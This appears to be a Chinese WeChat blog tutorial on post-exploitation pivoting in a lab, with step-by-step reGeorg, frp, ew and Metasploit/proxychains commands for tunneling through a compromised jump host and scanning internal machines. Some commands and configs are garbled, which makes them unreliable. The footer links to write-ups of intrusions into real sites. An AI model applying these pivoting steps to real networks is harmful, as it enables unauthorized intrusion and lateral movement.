0x00 前言
内网穿透一直是后渗透的重点,网上这方面的文章很多,吸收总结,花了2天时间整理一份内网穿透的工具应用,力争用最简洁的步骤手把手熟练运用内网穿透。
这里选用常用的4种方式:reGeorge、frp、ew、msf+proxychains(对于不同的内网环境足够用了),
其中frp和ew分别再Linux和Win两种环境做了实验
相关软件下载:
链接:https://pan.baidu.com/s/1DvEI0mLEKnwrd3EMUsH1DA
提取码:33t6
-
实验环境
两层网络环境可以自己搭建,
也可以公众号回复“内网渗透环境”,获取下载链接
攻击机2台(kali 和 win10):
192.168.211.164(VMnet8 NAT模式),
192.168.211.193(VMnet8 NAT模式)
跳板机1台(win7):
外网 192.168.211.224 (VMnet8 NAT模式) ,
内网 192.168.52.143(VMnet1仅主机模式)
内网机2台:
192.168.52.138(VMnet1仅主机模式) ,
192.168.52.141(VMnet1仅主机模式)
简单的网络拓扑图如下:
0x01 reGeorge
1.1 环境
攻击机kali
reGeorge软件,下载:https://github.com/sensepost/reGeorg
运行序偶需要的环境:
Python、pip、urllib3;
pip安装:
wget https://bootstrap.pypa.io/get-pip.pypython get-pip.py
依赖urllib3安装:
pip install urllib3
1.2 部署配置
上传tunnel.nosocket.php
前提条件,已获得跳板机的权限(都打到内网了,跳板机的权限肯定获得了),Windows7系统的跳板机是php环境,将reGeorge中的tunnel.nosocket.php上传至网站,并访问http://192.168.211.224/tunnel.nosocket.php访问成功
启动reGeorg
python reGeorgSocksProxy.py -p 1080 -uhttp://192.168.211.224/tunnel.nosocket.php #表示本地1080端口的流量都转发给指定的那个url,1080是指定的监听端口;
配置代理
然后配置proxychains代理链的配置文件/etc/proxychains.conf,将代理设置成本机的1080端口:socks5 127.0.0.1 1080
1.3 测试
命令前面加上proxychains 运行命令,(跳板机php环境已启动,存在主页index.php)
proxychainscurl http://192.168.52.143
reGeorg控制端
证明反向代理连接成功
0x02 frp
软件:frp_0.33.0_windows_amd64 ,frp_0.34.1_linux_amd64
代理工具Proxifier(windows下通常用可视化的proxifier、SocksCap64,Linux在proxychains设置)
2.1攻击机为windows环境
frp反向代理:
攻击机-服务端:
设置frps.ini
[7000 ] bind_port =
然后运行
frps.exe -c frps.ini
跳板机-客户端:
设置frpc.ini
[common]
server_addr = 192.168.211.193
server_port = 7000
[http_proxy]
type = tcp
remote_port = 8010
plugin=socks5
然后运行
frpc.exe -c frpc.ini
服务器端运行proxifier监听8010端口:
点击检查
proxifier里测试成功。
浏览器访问192.168.52.143 访问成功
测试远程,远程连接192.168.52.143、141(此两台机器远程连接均已开)
frp正向代理:
攻击机为客户端 frpc.ini
[common]
server_addr = 192.168.211.224
server_port = 7000
[http_proxy]
type = tcp
remote_port = 8010 plugin=socks5
执行
frpc.e -c frpc.ini
跳板机为服务器端
[7000 ] bind_port =
执行
frps.exe -c frps.ini
在攻击机-客户端上运行proxifier,添加服务器的地址192.168.211.214,端口8010,进行连接
不知道啥原因,连接跳板机内网192.168.52.143未成功,连接跳板外网卡192.168.211.214成功,
网上也搜索了大量frp 正向代理,貌似用frp做正向代理的不多,推出以后frp还是坚持用反向代理吧。
2.2 攻击机为 kali环境
frp反向代理
服务器端-攻击机:
frps.ini 配置内容
[7000 ] bind_port =
执行命令
./frps -c frps.ini
客户端-跳板机:
frpc.ini配置内容
[common]
server_addr = 192.168.211.193
server_port = 7000
[http_proxy]
type = tcp
#remote_port = 8010
remote_port =1080
plugin=socks5
执行命令
frpc.exe -c frpc.ini
配置proxychains代理链
配置文件/etc/proxychains.conf,
将代理设置成本机的1080端口(root用户修改):
socks4 127.0.0.1 1080
然后命令前面加上proxychains即可。
测试:
proxychains curl http://192.168.52.143
proxychains rdesktop 192.168.52.141 (远程连接内网电脑桌面)
证明代理成功。
执行nmap
proxychains nsap -p 1-1000 -Pn -sT192.168.52.141
扫描C端存活机器和端口
roxychains nmap -p 1-65525 -Pn -sT192.168.52.0/24
总结frp优缺点
优点:使用反向代理,只需要把需要访问的内网主机和端口转发出来即可,速度较快
缺点:访问https网站时配置相对复杂
0x03 ew
3.1 攻击机为windos10环境
ew正向代理
1.正向连接跳板机在win7机器上执行(ew_for_windows上传到跳板机)
ew_for_Win.exe -s ssocksd -l 888
攻击机-监听本机888端口。然后在win10机器上proxifier进行连接
测试http: 访问 http://192.168.52.143/成功
测试远程桌面:192.168.52.141 成功
ew反向代理
攻击机器上执行
ew_for_Win.exe -s rcsocks -l 1080 -e 1234
对外1234端口转发到1080端口,
-l 本地监听端口,待会连接这个端口作为 socks5 端口
-e 反弹中转端口
然后边缘机器连接
ew_for_Win.exe -s rssocks -d192.168.211.164 -e 1234
-d 指定反弹的主机,这里为公网 vps 的 ip
-e 指定反弹中转端口,和vps中的设置的一样
测试http: 访问 http://192.168.52.143/成功
测试远程桌面:192.168.52.141 成功
3.2 攻击机环境为kali
ew反向代理
服务端-攻击机kali
执行:
./ew_for_linux64 -s rcsocks -l 1080 -e 1024
客户端-跳板机
执行
ew_for_Win.exe -s rssocks -d192.168.211.193 -e 1024
配置proxychains代理链
在配置文件/etc/proxychains.conf,
将代理设置成本机的1080端口(root用户修改):
测试执行:
执行curlhttp://192.168.211.219/index.php 证明网络是通
执行
proxychainscurl http://192.168.52.143/index.php
证明代理成功
连接成功。
执行namp
proxychains nmap -p 1-1000 -Pn -sT192.168.52.141
ew正向代理
服务器端-跳板机
执行命令:
ew_for_Win.exe -s ssocksd -l 1080
客户端-攻击机kali
配置proxychains代理链
在配置文件/etc/proxychains.conf,
将代理设置成服务器的IP和1080端口(root用户修改):
测试执行:
执行
proxychains curl http://192.168.211.219/index.php
证明代理成功
下面几步均是测试代理条件下 nmap的运用
执行nmap扫描内网存活主机
proxychains map -PS 192.168.211.1/24
注意:在常规无代理的情况下扫描会很快
加入代理后扫描的较慢
无ping 扫描
proxychains nmap -p0 192.168.52.1/24
扫描存活主机开放端口
proxychains nmap -p 1-1000 -Pn -sT192.168.52.141
总结优缺点
优点:配置简单,相当于直接处于目标内网
缺点:速度较慢,不稳定
0x04 msf+proxychains
msf获得跳板机的权限(如何获得这里就不多叙述了,使用msf自带模块攻击),
(1)添加内网路由
添加路由的目的是为了让MSF其他模块能访问内网的其他主机,即52网段的攻击流量都通过已渗透的这台目标主机的meterpreter会话来传递;
(注:添加路由一定要在挂代理之前,因为代理需要用到路由功能)
使用arp -a 查看一下所有接口的当前ARP缓存
(2)添加socks代理,
添加socks4a代理的目的是为了让其他软件更方便的访问到内网的其他主机的服务;设置成功后打开其他程序时都要在前面加上proxychains。
通过reGeorge+socks4的方式(步骤详见本文00x1)添加代理
证明代理成功
推荐阅读:
▶【渗透实战系列】18-手动拿学校站点 得到上万人的信息(漏洞已提交)
▶【渗透实战系列】|17-巧用fofa对目标网站进行getshell
▶【渗透实战系列】|15-博彩网站(APP)渗透的常见切入点
▶【渗透实战系列】|12 -渗透实战, 被骗4000花呗背后的骗局
▶【渗透实战系列】|10 - 记某色X商城支付逻辑漏洞的白嫖(修改价格提交订单)
▶【渗透实战系列】|9-对境外网站开展的一次web渗透实战测试(非常详细,适合打战练手)
▶【渗透实战系列】|8-记一次渗透测试从XSS到Getshell过程(详细到无语)
▶【渗透实战系列】|6- BC杀猪盘渗透一条龙(文末附【渗透实战系列】其他文章链接)
▶【渗透实战系列】|1一次对跨境赌博类APP的渗透实战(getshell并获得全部数据)
点分享
点收藏
点点赞
点在看
本文始发于微信公众号(Hacking黑白红):内网穿透 | 一文让你熟练运用内网穿透(步骤详细)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
2023年10月10日 上午11:37 1F
学习了。常见内网穿透方法有frp、ngrok、nat123、n2n等。